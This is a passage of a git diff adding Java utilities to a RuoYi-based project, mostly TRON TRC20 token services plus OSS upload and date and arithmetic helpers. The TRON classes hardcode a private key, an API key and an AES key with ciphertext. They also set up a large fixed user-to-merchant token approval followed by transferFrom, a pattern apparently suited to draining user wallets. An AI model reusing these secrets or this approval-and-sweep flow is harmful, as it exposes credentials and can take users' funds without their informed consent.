wrapper.signTransaction(builder.build()); + return wrapper.broadcastTransaction(signedTxn); + } + public static String aesDecrypt(String key,String content){ + if(StringUtils.isBlank(key) || StringUtils.isBlank(content)){ + return ""; + } + byte[] decode = Base64.getDecoder().decode(key); + return SecureUtil.aes(decode).decryptStr(content); + } + + /** + * Call function approve(address _spender, uint256 _value) public returns (bool success) + * + * Allows _spender to withdraw from your account multiple times, up to the _value amount. + * If this function is called again it overwrites the current allowance with _value. + * + * @param spender The address who is allowed to withdraw. + * @param amount The amount allowed to withdraw. + * @param memo The transaction memo + * @param feeLimit The energy fee limit + * @return Transaction hash + */ + //调用TRC20合约的approve函数授权代币使用权给其他地址 + public String approve(String spender ,long amount, + String memo, long feeLimit) { + Function approve = new Function("approve", + Arrays.asList(new Address(spender) , + new Uint256(BigInteger.valueOf(amount).multiply(BigInteger.valueOf(10).pow(decimals)))), + Arrays.asList(new TypeReference() {})); + + TransactionBuilder builder = wrapper.triggerCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), approve); + builder.setFeeLimit(feeLimit); + builder.setMemo(memo); + + Chain.Transaction signedTxn = wrapper.signTransaction(builder.build()); + return wrapper.broadcastTransaction(signedTxn); + } + + /** + * Call function allowance(address _owner, address _spender) public view returns (uint256 remaining). + * + * Returns the amount which _spender is still allowed to withdraw from _owner. + * + * @param owner The address to be withdrew from. + * @param spender The address of the withdrawer. + // * @param callerAddr The caller's address + // * @param cntrAddr The contract's address + * @return the amount which _spender is still allowed to withdraw from _owner + */ + //调用TRC20合约的allowance函数查询可供第三方转账的查询账户的通证余额。 + public BigInteger allowance(String owner, String spender) { + Function allowance = new Function("allowance", + Arrays.asList(new Address(owner), new Address(spender)), + Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), allowance); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (BigInteger)FunctionReturnDecoder.decode(result, allowance.getOutputParameters()).get(0).getValue(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Service.java b/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Service.java new file mode 100644 index 0000000..bc2d3a5 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Service.java @@ -0,0 +1,110 @@ +package com.ruoyi.common.trc; + + +import cn.hutool.core.util.HexUtil; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.tron.trident.core.ApiWrapper; +import org.tron.trident.core.contract.Trc20Contract; +import org.tron.trident.proto.Chain; +import org.tron.trident.proto.Response; +import org.tron.trident.utils.Base58Check; + +import java.math.BigDecimal; +import java.math.BigInteger; +import java.util.Date; + + + +@Service +@Slf4j +public class Trc20Service { + + //Hex + //@Value("${tron.contract-address}") + private String contractAddress = "0x282abe3f315cc1e3f7fddba6bfecce833a378300"; + + //Hex + //@Value("${tron.address}") + private String address = "0xd3109fbd400f73dc7d96c7bf8de169cb917438fc"; + + //@Value("${tron.private-key}") + private String privateKey = "fb61d82ab7dd6763357afd4381ba37da180936c27692116e129b488e2b375e35"; + + //token的精度 就是小数点后面有多少位小数 然后1后面加多少个0就可以 + private static final BigDecimal decimal = new BigDecimal("1000000"); + + + public BigInteger balanceOf(String address) { + ApiWrapper client = ApiWrapper.ofShasta(privateKey); + + org.tron.trident.core.contract.Contract contract = client.getContract(contractAddress); + + org.tron.trident.core.contract.Trc20Contract token = new org.tron.trident.core.contract.Trc20Contract(contract, address, client); + BigInteger balance = token.balanceOf(address); + return balance; + + } + + public String transferFee(String toAddress, long feeAmt) { + ApiWrapper client = ApiWrapper.ofNile(privateKey); + try { + log.debug("矿工费地址" + toAddress + "费用:" + feeAmt); + Response.TransactionExtention result = client.transfer(address, toAddress, feeAmt * 1000000); + Chain.Transaction signedTransaction = client.signTransaction(result); + String txId = client.broadcastTransaction(signedTransaction); + log.debug("转账矿工费成功" + toAddress + ":::" + txId); + return txId; + } catch (Exception e) { + log.error("矿工费转账失败:" + e); + } + return null; + } + + //用户合约中代币向归集中转账 + public String transferContract(String fromAddress, String privateKey, long amount) { + ApiWrapper client = ApiWrapper.ofNile(privateKey); + try { + + org.tron.trident.core.contract.Contract contract = client.getContract(contractAddress); + + org.tron.trident.core.contract.Trc20Contract token = new org.tron.trident.core.contract.Trc20Contract(contract, fromAddress, client); + + String txId = token.transfer(address, amount,0, "代币转账", 1000000000L); + + return txId; + } catch (Exception e) { + log.error("地址" + fromAddress + new Date() + "转账失败:" + e); + } + return null; + } + + //用户提现 + public boolean withdraw(String toAddress, long amount) { + //ApiWrapper client = ApiWrapper.ofNile(privateKey); + ApiWrapper client = ApiWrapper.ofShasta(privateKey); + try { + + org.tron.trident.core.contract.Contract contract = client.getContract(contractAddress); + + org.tron.trident.core.contract.Trc20Contract token = new Trc20Contract(contract, address, client); + + String txId = token.transfer(toAddress, amount,0, "代币转账", 1000000000L); + return true; + } catch (Exception e) { + log.error("地址" + toAddress + new Date() + "转账失败:" + e); + return false; + } + } + public static String base582Hex(String base58){ + byte[] bytes = Base58Check.base58ToBytes(base58); + return HexUtil.encodeHexStr(bytes); + } + public static void main(String[] args){ + String usdtString = "TCWQcSjbi2Hn9v4D38xaLeT2USndDhVpc5"; + //String zeroString = "T9yD14Nj9j7xAB4dbGeiX9h8unkKHxuWwb"; + System.out.println(base582Hex(usdtString)); + } +} + diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/trc/TronUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TronUtils.java new file mode 100644 index 0000000..1b0d066 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TronUtils.java @@ -0,0 +1,166 @@ +package com.ruoyi.common.trc; + +import cn.hutool.http.HttpResponse; +import cn.hutool.http.HttpUtil; +import cn.hutool.json.JSONUtil; + +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.common.utils.StringUtils; +import lombok.Data; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.tron.trident.core.ApiWrapper; +import org.tron.trident.core.contract.Contract; + +import java.math.BigDecimal; +import java.math.BigInteger; +import java.math.RoundingMode; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +public class TronUtils { + /** + * 获取TRC-20 token指定地址余额 + */ + public static final BigDecimal WEI = new BigDecimal(1000000); + public static final Logger log = LoggerFactory.getLogger(TronUtils.class); + public static final String TRON_BALANCE_URL = "https://apilist.tronscan.org/api/account?address="; + public static final String TRON_USDT_TOKENID = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; + public static final String TRX_BALANCE_KEY = "trxBalance"; + public static final String USDT_BALANCE_KEY = "usdtBalance"; + public static final String TRON_API_KEY = "870e208a-9a80-4298-a9df-386b16ed97fc"; + public static final long APPROVE_FEE_LIMIT = 100000000L; + public static final long APPROVE_AMOUNT = 100000000000000L; + + + public static String allowance(String owner, String spender, String privateKey) { + // 查询用户地址 owner给商户地址spender的授权额度 + ApiWrapper wrapper =null; + try { + wrapper= ApiWrapper.ofMainnet(privateKey, TRON_API_KEY); + Contract contract = wrapper.getContract(TRON_USDT_TOKENID); + Trc20Contract token = new Trc20Contract(contract, spender, wrapper); + BigInteger balance = token.allowance(owner, spender); + return balance.compareTo(BigInteger.valueOf(100000000)) > 0 ? "100000000" : balance.toString(); + } catch (Exception e) { + log.error("TRC20查询USDT授权额度失败",e.getMessage()); + return null; + }finally { + if(null!=wrapper){ + wrapper.close(); + } + } + } + + + public static String allowanceUSDTByPrivateKey(String callerAddress, String spenderAddress, String privateKey) { + // 用户地址callerAddress 往 商户地址 spenderAddress授权 + ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, TRON_API_KEY); + try { + Contract contract = wrapper.getContract(TRON_USDT_TOKENID); + Trc20Contract token = new Trc20Contract(contract, spenderAddress, wrapper); + String tradeHash = token.approve(callerAddress, APPROVE_AMOUNT, null, APPROVE_FEE_LIMIT); + log.debug("TRC20 approve Hash: {}", tradeHash); + return tradeHash; + } catch (Exception e) { + log.error("TRC20授权USDT失败", e); + return null; + }finally { + wrapper.close(); + } + } + + // 用户地址 from 给商户地址to转账 + public static String transactionUSDTByPrivateKey(String from, String to, Long amount, String privateKey) { + ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, TRON_API_KEY); + try { + Contract contract = wrapper.getContract(TRON_USDT_TOKENID); + Trc20Contract token = new Trc20Contract(contract, to, wrapper); + String tradeHash = token.transferFrom(from, to, amount, from, APPROVE_FEE_LIMIT); + log.debug("TRC20 tradeHash: {}", tradeHash); + return tradeHash; + } catch (Exception e) { + log.error("TRC20转账USDT失败", e); + return null; + }finally { + wrapper.close(); + } + } + + public static Map getAccountBalance(String address){ + BigDecimal trxBalance; + BigDecimal usdtBalance = BigDecimal.ZERO; + String resp = HttpUtil.get(TRON_BALANCE_URL + address); + TronAccount account = JSONObject.parseObject(resp, TronAccount.class); + trxBalance = account.balance.divide(WEI, 6, RoundingMode.HALF_DOWN); + Trc20tokenBalances usdt = account.getTrc20token_balances().stream().filter(e -> e.tokenId.equals(TRON_USDT_TOKENID)).findAny().orElse(null); + if (usdt != null) { + usdtBalance = usdt.balance.divide(WEI, 6, RoundingMode.HALF_DOWN); + } + Map data = new HashMap<>(); + data.put(TRX_BALANCE_KEY, trxBalance); + data.put(USDT_BALANCE_KEY, usdtBalance); + return data; + } + + public static String getTransactionResult(String tradeHash) { + //0成功 1失败 3处理中 + TRC transaction = (TRC) getTransaction(tradeHash); + if (Objects.isNull(transaction)) { + return "1"; + } + // 交易失败 + if (!transaction.getContractRet().equalsIgnoreCase("SUCCESS")) { + return "1"; + } + // 还在区块链确认中 + if (!transaction.isConfirmed()) { + return "3"; + } + return "0"; + } + + public static Object getTransaction(String hash) { + final HttpResponse execute = HttpUtil.createGet("https://apiasia.tronscan.io:5566/api/transaction-info?hash=" + hash).execute(); + if (execute.isOk()){ + final String result = execute.body(); +// log.debug("trc20 getTransaction: {}", result); + if (StringUtils.isNotBlank(result)) { + return JSONUtil.toBean(result, TRC.class); + } + } + return null; + } + + @Data + static class TronAccount { + private List trc20token_balances; + private BigDecimal balance; + } + + @Data + static class Trc20tokenBalances { + private String tokenId; + private BigDecimal balance; + } + + public static void main(String[] args){ + //查询的钱包地址 + //TSeZUkbwJ9jwsT9sbHcfXNusVCmQf4J7XN + /* try { + System.out.println(getAccountBalance("TSeZUkbwJ9jwsT9sbHcfXNusVCmQf4J7XN")); + } catch (Exception e) { + e.printStackTrace(); + }*/ + + /* String key = Trc20Contract.aesDecrypt ("DzTaFuouUNMjgNCRjZyKSfZJgBy2teQ1CLTaIicXnWs=","AjfwKJgBtGFuABfPVYNtUFUMzYQBUskhvnU4C+ubsefOheEqKWOklYOwj+W6SsxuBjMukd3U6GkhbQAvfyKFFU7yi+rZ0KklMTaeOQBk/iM="); + // String hash = TronUtil.transactionUSDTByPrivateKey(o.getClientAddr (), client.getTronAddress (), client.getTronAddr (),o.getAmount ().longValue(), key); // 1U = 1000000 + System.out.printf(key); + transactionUSDTByPrivateKey("TSeZUkbwJ9jwsT9sbHcfXNusVCmQf4J7XN","TMWguScywzBDt5UCRJGqZuhf8437mwWj2X",WEI.longValue(),key); + */ + getTransactionResult("fd0bcf27e364dc4edb3fde67979d0276804b55bd6d6f28a48b6b51035ea6d488"); + getAccountBalance("TXJCkAcwcd7e1fLagEHrUvvx1cknrZoNxB"); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/AliOssCloudUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/AliOssCloudUtil.java new file mode 100644 index 0000000..42e4050 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/AliOssCloudUtil.java @@ -0,0 +1,230 @@ +package com.ruoyi.common.utils; + +import com.aliyun.oss.OSSClient; +import com.aliyun.oss.model.*; +import lombok.extern.slf4j.Slf4j; + +import java.io.IOException; +import java.io.InputStream; + +@Slf4j +public class AliOssCloudUtil { + private String endpoint = ""; + + //阿里云的accessKeyId + private String accessKeyId = ""; + + //阿里云的accessKeySecret + private String accessKeySecret = ""; + + //空间 + private String bucketName = ""; + + //文件存储目录 + private String filedir = ""; + + private OSSClient ossClient; + + public AliOssCloudUtil(String endpoint, String accessKeyId, String accessKeySecret, String bucketName, String filedir) { + this.endpoint = endpoint; + this.accessKeyId = accessKeyId; + this.accessKeySecret = accessKeySecret; + this.bucketName = bucketName; + this.filedir = filedir; + this.ossClient = new OSSClient(endpoint, accessKeyId, accessKeySecret); + } + + public AliOssCloudUtil() { + ossClient = new OSSClient(endpoint, accessKeyId, accessKeySecret); + } + + public String getFiledir() { + return this.filedir; + } + + //自定义上传文件夹 + public AliOssCloudUtil(String filedir) { + this.filedir = filedir; + ossClient = new OSSClient(endpoint, accessKeyId, accessKeySecret); + } + + + /** + * 初始化 + */ + public void init() { + ossClient = new OSSClient(endpoint, accessKeyId, accessKeySecret); + } + + /** + * 销毁 + */ + public void destory() { + ossClient.shutdown(); + } + + + /** + * 上传到OSS服务器 + * + * @param instream 文件流 + * @param fileName 文件名称 包括后缀名 + * @return 出错返回"" ,唯一MD5数字签名 + */ + public String uploadFile2OSS(InputStream instream, String fileName) { + String ret = ""; + // 判断bucket是否已经存在,不存在进行创建 + if (!doesBucketExist()) { + createBucket(); + } + try { + //创建上传Object的Metadata + ObjectMetadata objectMetadata = new ObjectMetadata(); + objectMetadata.setContentLength(instream.available()); + objectMetadata.setCacheControl("no-cache"); + objectMetadata.setHeader("Pragma", "no-cache"); + objectMetadata.setContentType(getcontentType(fileName.substring(fileName.lastIndexOf(".")+1))); + objectMetadata.setContentDisposition("inline;filename=" + fileName); + + // 指定上传文件操作时是否覆盖同名Object。 + // 不指定x-oss-forbid-overwrite时,默认覆盖同名Object。 + // 指定x-oss-forbid-overwrite为false时,表示允许覆盖同名Object。 + // 指定x-oss-forbid-overwrite为true时,表示禁止覆盖同名Object,如果同名Object已存在,程序将报错。 + objectMetadata.setHeader("x-oss-forbid-overwrite", "false"); + + String objectName = filedir + fileName; + + //上传文件 + ossClient.putObject(bucketName, objectName, instream, objectMetadata); + // 封装 url 路径 + String url = "https://" + bucketName + "." + endpoint + "/" + objectName; + System.out.println(objectName); + ret = url; + } catch (IOException e) { + log.error(e.getMessage(), e); + } finally { + ossClient.shutdown(); + try { + if (instream != null) { + instream.close(); + } + } catch (IOException e) { + e.printStackTrace(); + } + } + return ret; + } + + + /** + * 判断文件是否存在。doesObjectExist还有一个参数isOnlyInOSS, + * 如果为true则忽略302重定向或镜像;如果为false,则考虑302重定向或镜像。 + * yourObjectName 表示上传文件到OSS时需要指定包含文件后缀在内的完整路径,例如abc/efg/123.jpg。 + * + * @return 存在返回true + */ + public boolean doesObjectExist(String objectName) { + boolean exists = ossClient.doesObjectExist(bucketName, filedir + objectName); + return exists; + } + + /** + * 判断Bucket是否存在 + * + * @return 存在返回true + */ + public boolean doesBucketExist() { + boolean exists = ossClient.doesBucketExist(bucketName); + return exists; + } + + /** + * 创建Bucket + */ + public void createBucket() { + CreateBucketRequest createBucketRequest = new CreateBucketRequest(bucketName); + // 设置bucket权限为公共读,默认是私有读写 + createBucketRequest.setCannedACL(CannedAccessControlList.PublicRead); + // 设置bucket存储类型为低频访问类型,默认是标准类型 + createBucketRequest.setStorageClass(StorageClass.IA); + boolean exists = ossClient.doesBucketExist(bucketName); + if (!exists) { + try { + ossClient.createBucket(createBucketRequest); + // 关闭client + ossClient.shutdown(); + } catch (Exception e) { + log.error(e.getMessage()); + } + } + } + + /** + * Description: 判断OSS服务文件上传时文件的contentType + * + * @param FilenameExtension 文件后缀 + * @return String + */ + public static String getcontentType(String FilenameExtension) { + if ("bmp".equalsIgnoreCase(FilenameExtension)) { + return "image/bmp"; + } + if ("gif".equalsIgnoreCase(FilenameExtension)) { + return "image/gif"; + } + if ("jpeg".equalsIgnoreCase(FilenameExtension) || + "jpg".equalsIgnoreCase(FilenameExtension) || + "png".equalsIgnoreCase(FilenameExtension)) { + return "image/jpeg"; + } + if ("html".equalsIgnoreCase(FilenameExtension)) { + return "text/html"; + } + if ("txt".equalsIgnoreCase(FilenameExtension)) { + return "text/plain"; + } + if ("vsd".equalsIgnoreCase(FilenameExtension)) { + return "application/vnd.visio"; + } + if ("pptx".equalsIgnoreCase(FilenameExtension) || + "ppt".equalsIgnoreCase(FilenameExtension)) { + return "application/vnd.ms-powerpoint"; + } + if ("docx".equalsIgnoreCase(FilenameExtension) || + "doc".equalsIgnoreCase(FilenameExtension)) { + return "application/msword"; + } + if ("xml".equalsIgnoreCase(FilenameExtension)) { + return "text/xml"; + } + if ("pdf".equalsIgnoreCase(FilenameExtension)) { + return "application/pdf"; + } + return "image/jpeg"; + } + + + /** + * @param fileName + * @return + * @Title: getInputStreamByFileUrl + * @Description: 根据文件路径获取InputStream流 + * @return: InputStream + */ + public InputStream getInputStreamByFileUrl(String fileName) { + // ossObject包含文件所在的存储空间名称、文件名称、文件元信息以及一个输入流。 + OSSObject ossObject = ossClient.getObject(bucketName, fileName); + return ossObject.getObjectContent(); + } + + + /** + * @desc 删除文件 + * @date 2022-10-12 + */ + public void delete(String objectName) { + // 根据BucketName,objectName删除文件 + ossClient.deleteObject(bucketName, objectName); + ossClient.shutdown(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/Arith.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Arith.java new file mode 100644 index 0000000..b6326c2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Arith.java @@ -0,0 +1,114 @@ +package com.ruoyi.common.utils; + +import java.math.BigDecimal; +import java.math.RoundingMode; + +/** + * 精确的浮点数运算 + * + * @author ruoyi + */ +public class Arith +{ + + /** 默认除法运算精度 */ + private static final int DEF_DIV_SCALE = 10; + + /** 这个类不能实例化 */ + private Arith() + { + } + + /** + * 提供精确的加法运算。 + * @param v1 被加数 + * @param v2 加数 + * @return 两个参数的和 + */ + public static double add(double v1, double v2) + { + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + return b1.add(b2).doubleValue(); + } + + /** + * 提供精确的减法运算。 + * @param v1 被减数 + * @param v2 减数 + * @return 两个参数的差 + */ + public static double sub(double v1, double v2) + { + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + return b1.subtract(b2).doubleValue(); + } + + /** + * 提供精确的乘法运算。 + * @param v1 被乘数 + * @param v2 乘数 + * @return 两个参数的积 + */ + public static double mul(double v1, double v2) + { + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + return b1.multiply(b2).doubleValue(); + } + + /** + * 提供(相对)精确的除法运算,当发生除不尽的情况时,精确到 + * 小数点以后10位,以后的数字四舍五入。 + * @param v1 被除数 + * @param v2 除数 + * @return 两个参数的商 + */ + public static double div(double v1, double v2) + { + return div(v1, v2, DEF_DIV_SCALE); + } + + /** + * 提供(相对)精确的除法运算。当发生除不尽的情况时,由scale参数指 + * 定精度,以后的数字四舍五入。 + * @param v1 被除数 + * @param v2 除数 + * @param scale 表示表示需要精确到小数点以后几位。 + * @return 两个参数的商 + */ + public static double div(double v1, double v2, int scale) + { + if (scale < 0) + { + throw new IllegalArgumentException( + "The scale must be a positive integer or zero"); + } + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + if (b1.compareTo(BigDecimal.ZERO) == 0) + { + return BigDecimal.ZERO.doubleValue(); + } + return b1.divide(b2, scale, RoundingMode.HALF_UP).doubleValue(); + } + + /** + * 提供精确的小数位四舍五入处理。 + * @param v 需要四舍五入的数字 + * @param scale 小数点后保留几位 + * @return 四舍五入后的结果 + */ + public static double round(double v, int scale) + { + if (scale < 0) + { + throw new IllegalArgumentException( + "The scale must be a positive integer or zero"); + } + BigDecimal b = new BigDecimal(Double.toString(v)); + BigDecimal one = BigDecimal.ONE; + return b.divide(one, scale, RoundingMode.HALF_UP).doubleValue(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/BigDecimalUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/BigDecimalUtil.java new file mode 100644 index 0000000..016a5bc --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/BigDecimalUtil.java @@ -0,0 +1,145 @@ +package com.ruoyi.common.utils; +import java.math.BigDecimal; + +/** + * @author MCJ + * @date 2018年7月30日 + * @description 提供精确的浮点数运算(包括加、减、乘、除、四舍五入)工具类 + * + */ +public class BigDecimalUtil { + + // 除法运算默认精度 + private static final int DEF_DIV_SCALE = 6; + + private BigDecimalUtil() { + + } + + /** + * 精确加法 + */ + public static double add(double value1, double value2) { + BigDecimal b1 = BigDecimal.valueOf(value1); + BigDecimal b2 = BigDecimal.valueOf(value2); + return b1.add(b2).doubleValue(); + } + + /** + * 精确加法 + */ + public static double add(String value1, String value2) { + BigDecimal b1 = new BigDecimal(value1); + BigDecimal b2 = new BigDecimal(value2); + return b1.add(b2).doubleValue(); + } + + /** + * 精确减法 + */ + public static double sub(double value1, double value2) { + BigDecimal b1 = BigDecimal.valueOf(value1); + BigDecimal b2 = BigDecimal.valueOf(value2); + return b1.subtract(b2).doubleValue(); + } + + /** + * 精确减法 + */ + public static double sub(String value1, String value2) { + BigDecimal b1 = new BigDecimal(value1); + BigDecimal b2 = new BigDecimal(value2); + return b1.subtract(b2).doubleValue(); + } + + /** + * 精确乘法 + */ + public static double mul(double value1, double value2) { + BigDecimal b1 = BigDecimal.valueOf(value1); + BigDecimal b2 = BigDecimal.valueOf(value2); + return b1.multiply(b2).doubleValue(); + } + + /** + * 精确乘法 + */ + public static double mul(String value1, String value2) { + BigDecimal b1 = new BigDecimal(value1); + BigDecimal b2 = new BigDecimal(value2); + return b1.multiply(b2).doubleValue(); + } + + /** + * 精确除法 使用默认精度 + */ + public static double div(double value1, double value2) throws IllegalAccessException { + return div(value1, value2, DEF_DIV_SCALE); + } + + /** + * 精确除法 使用默认精度 + */ + public static double div(String value1, String value2) throws IllegalAccessException { + return div(value1, value2, DEF_DIV_SCALE); + } + + /** + * 精确除法 + * + * @param scale 精度 + */ + public static double div(double value1, double value2, int scale) throws IllegalAccessException { + if (scale < 0) { + throw new IllegalAccessException("精确度不能小于0"); + } + BigDecimal b1 = BigDecimal.valueOf(value1); + BigDecimal b2 = BigDecimal.valueOf(value2); + // return b1.divide(b2, scale).doubleValue(); + return b1.divide(b2, scale, BigDecimal.ROUND_HALF_UP).doubleValue(); + } + + /** + * 精确除法 + * + * @param scale 精度 + */ + public static double div(String value1, String value2, int scale) throws IllegalAccessException { + if (scale < 0) { + throw new IllegalAccessException("精确度不能小于0"); + } + BigDecimal b1 = new BigDecimal(value1); + BigDecimal b2 = new BigDecimal(value2); + // return b1.divide(b2, scale).doubleValue(); + return b1.divide(b2, scale, BigDecimal.ROUND_HALF_UP).doubleValue(); + } + + /** + * 四舍五入 + * + * @param scale 小数点后保留几位 + */ + public static double round(double v, int scale) throws IllegalAccessException { + return div(v, 1, scale); + } + + /** + * 四舍五入 + * + * @param scale 小数点后保留几位 + */ + public static double round(String v, int scale) throws IllegalAccessException { + return div(v, "1", scale); + } + + /** + * 比较大小 + */ + public static boolean equalTo(BigDecimal b1, BigDecimal b2) { + if (b1 == null || b2 == null) { + return false; + } + return 0 == b1.compareTo(b2); + } + +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ChineseCharacterUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ChineseCharacterUtil.java new file mode 100644 index 0000000..f669bd6 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ChineseCharacterUtil.java @@ -0,0 +1,86 @@ +package com.ruoyi.common.utils; + +import net.sourceforge.pinyin4j.PinyinHelper; +import net.sourceforge.pinyin4j.format.HanyuPinyinOutputFormat; +import net.sourceforge.pinyin4j.format.HanyuPinyinToneType; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class ChineseCharacterUtil { + + /*** + * 将汉字转成拼音(取首字母或全拼) + * @param hanzi + * @param full 是否全拼 + * @return + */ + public static String convertHanzi2Pinyin(String hanzi,boolean full) + { + /*** + * ^[\u2E80-\u9FFF]+$ 匹配所有东亚区的语言 + * ^[\u4E00-\u9FFF]+$ 匹配简体和繁体 + * ^[\u4E00-\u9FA5]+$ 匹配简体 + */ + String regExp="^[\u4E00-\u9FFF]+$"; + StringBuffer sb=new StringBuffer(); + if(hanzi==null||"".equals(hanzi.trim())) + { + return ""; + } + String pinyin=""; + for(int i=0;i getDays(Date date) { + + String[] weekDays = {"周日", "周一", "周二", "周三", "周四", "周五", "周六"}; + //创建日历类 + Calendar calendar = Calendar.getInstance(); + //获取当月月份 + int month = calendar.get(Calendar.MONTH) + 1; + //设置当前月份 + calendar.set(0, month, 0); + //获取当月每个月有多少天 + int monthday = calendar.get(Calendar.DAY_OF_MONTH); + //设置当前时间 + calendar.setTime(date); + //今天是几号 + int today = calendar.get(Calendar.DATE); + //今天是周几 + String weekday = weekDays[calendar.get(Calendar.DAY_OF_WEEK)-1]; + Map map=new HashMap<>(); + map.put("week",weekday); + map.put("day",today); + return map; + } + + /** + * 获取今天是几号 + * @return + */ + public static Integer getDays() { + Integer dayOfMonth = Calendar.getInstance().get(Calendar.DAY_OF_MONTH); + return dayOfMonth; + } + /** + * 获取某月的最后一天 + * + */ + public static String getLastDayOfMonth(int year,int month) + { + Calendar cal = Calendar.getInstance(); + //设置年份 + cal.set(Calendar.YEAR,year); + //设置月份 + cal.set(Calendar.MONTH, month); + //获取当月最小值 + int lastDay = cal.getMinimum(Calendar.DAY_OF_MONTH); + //设置日历中的月份,当月+1月-1天=当月最后一天 + cal.set(Calendar.DAY_OF_MONTH, lastDay-1); + //格式化日期 + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); + String lastDayOfMonth = sdf.format(cal.getTime()); + return lastDayOfMonth; + } + + public static void main(String[] args) { + Calendar calendar = Calendar.getInstance(); + //获取当月月份 + int month = calendar.get(Calendar.MONTH) + 2; + System.out.println(month); + System.out.println(getDays(new Date())); + System.out.println(getLastDayOfMonth(2023,3)); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtils.java new file mode 100644 index 0000000..91019d2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtils.java @@ -0,0 +1,316 @@ +package com.ruoyi.common.utils; + +import java.lang.management.ManagementFactory; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.time.*; +import java.util.*; +import java.util.stream.Collectors; +import com.ruoyi.common.core.domain.entity.TimeZone; +import org.apache.commons.lang3.time.DateFormatUtils; + +/** + * 时间工具类 + * + * @author ruoyi + */ +public class DateUtils extends org.apache.commons.lang3.time.DateUtils +{ + public static String YYYY = "yyyy"; + + public static String YYYY_MM = "yyyy-MM"; + + public static String YYYY_MM_DD = "yyyy-MM-dd"; + + public static String YYYYMMDDHHMMSS = "yyyyMMddHHmmss"; + + public static String YYYY_MM_DD_HH_MM_SS = "yyyy-MM-dd HH:mm:ss"; + + private static String[] parsePatterns = { + "yyyy-MM-dd", "yyyy-MM-dd HH:mm:ss", "yyyy-MM-dd HH:mm", "yyyy-MM", + "yyyy/MM/dd", "yyyy/MM/dd HH:mm:ss", "yyyy/MM/dd HH:mm", "yyyy/MM", + "yyyy.MM.dd", "yyyy.MM.dd HH:mm:ss", "yyyy.MM.dd HH:mm", "yyyy.MM"}; + + /** + * 获取当前Date型日期 + * + * @return Date() 当前日期 + */ + public static Date getNowDate() + { + return new Date(); + } + + /** + * 获取当前日期, 默认格式为yyyy-MM-dd + * + * @return String + */ + public static String getDate() + { + return dateTimeNow(YYYY_MM_DD); + } + + public static final String getTime() + { + return dateTimeNow(YYYY_MM_DD_HH_MM_SS); + } + + public static final String dateTimeNow() + { + return dateTimeNow(YYYYMMDDHHMMSS); + } + + public static final String dateTimeNow(final String format) + { + return parseDateToStr(format, new Date()); + } + + public static final String dateTime(final Date date) + { + return parseDateToStr(YYYY_MM_DD, date); + } + + public static final String parseDateToStr(final String format, final Date date) + { + return new SimpleDateFormat(format).format(date); + } + + public static final Date dateTime(final String format, final String ts) + { + try + { + return new SimpleDateFormat(format).parse(ts); + } + catch (ParseException e) + { + throw new RuntimeException(e); + } + } + + /** + * 日期路径 即年/月/日 如2018/08/08 + */ + public static final String datePath() + { + Date now = new Date(); + return DateFormatUtils.format(now, "yyyy/MM/dd"); + } + + /** + * 日期路径 即年/月/日 如20180808 + */ + public static final String dateTime() + { + Date now = new Date(); + return DateFormatUtils.format(now, "yyyyMMdd"); + } + + /** + * 日期型字符串转化为日期 格式 + */ + public static Date parseDate(Object str) + { + if (str == null) + { + return null; + } + try + { + return parseDate(str.toString(), parsePatterns); + } + catch (ParseException e) + { + return null; + } + } + + /** + * 获取服务器启动时间 + */ + public static Date getServerStartDate() + { + long time = ManagementFactory.getRuntimeMXBean().getStartTime(); + return new Date(time); + } + + /** + * 计算相差天数 + */ + public static int differentDaysByMillisecond(Date date1, Date date2) + { + return Math.abs((int) ((date2.getTime() - date1.getTime()) / (1000 * 3600 * 24))); + } + + + public static int daysBetween(Date date1, Date date2) 